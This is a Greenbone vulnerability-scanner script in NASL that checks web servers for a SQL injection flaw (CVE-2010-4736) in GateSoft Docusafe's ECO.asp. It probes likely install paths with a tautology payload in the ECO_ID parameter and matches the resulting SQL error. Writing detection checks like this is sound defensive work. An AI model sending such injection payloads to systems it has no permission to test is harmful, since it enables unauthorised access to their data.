GateSoft Docusafe 'ECO.asp' SQL Injection Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801751");
  script_version("2024-06-13T05:05:46+0000");
  script_tag(name:"last_modification", value:"2024-06-13 05:05:46 +0000 (Thu, 13 Jun 2024)");
  script_tag(name:"creation_date", value:"2011-02-23 12:24:37 +0100 (Wed, 23 Feb 2011)");
  script_cve_id("CVE-2010-4736");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("GateSoft Docusafe 'ECO.asp' SQL Injection Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl",
                      "DDI_Directory_Scanner.nasl", "global_settings.nasl",
                      "gb_microsoft_iis_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://secunia.com/advisories/27660");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/15686/");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/96398/gatesafedocusafe-sql.txt");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to allow an attacker
  to obtain sensitive information.");

  script_tag(name:"affected", value:"GateSoft Docusafe 4.2.2 and prior");

  script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied
  input via the 'ECO_ID' parameter in 'ECO.asp', which allows attacker to
  manipulate SQL queries by injecting arbitrary SQL code.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"GateSoft Docusafe is prone to an SQL injection (SQLi) vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_asp( port:port ) ) exit( 0 );

foreach dir( make_list_unique( "/docusafe", "/DocuSafe", "/", http_cgi_dirs( port:port ) ) ) {

  if(dir == "/") dir = "";

  res = http_get_cache( item:dir + "/main.asp", port:port);

  if( '<title>DocuSafe</title>' >< res ) {

    url = dir + "/ECO.asp?ECO_ID=' or '1'='1";

    if( http_vuln_check( port:port, url:url, pattern:'Syntax error') ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );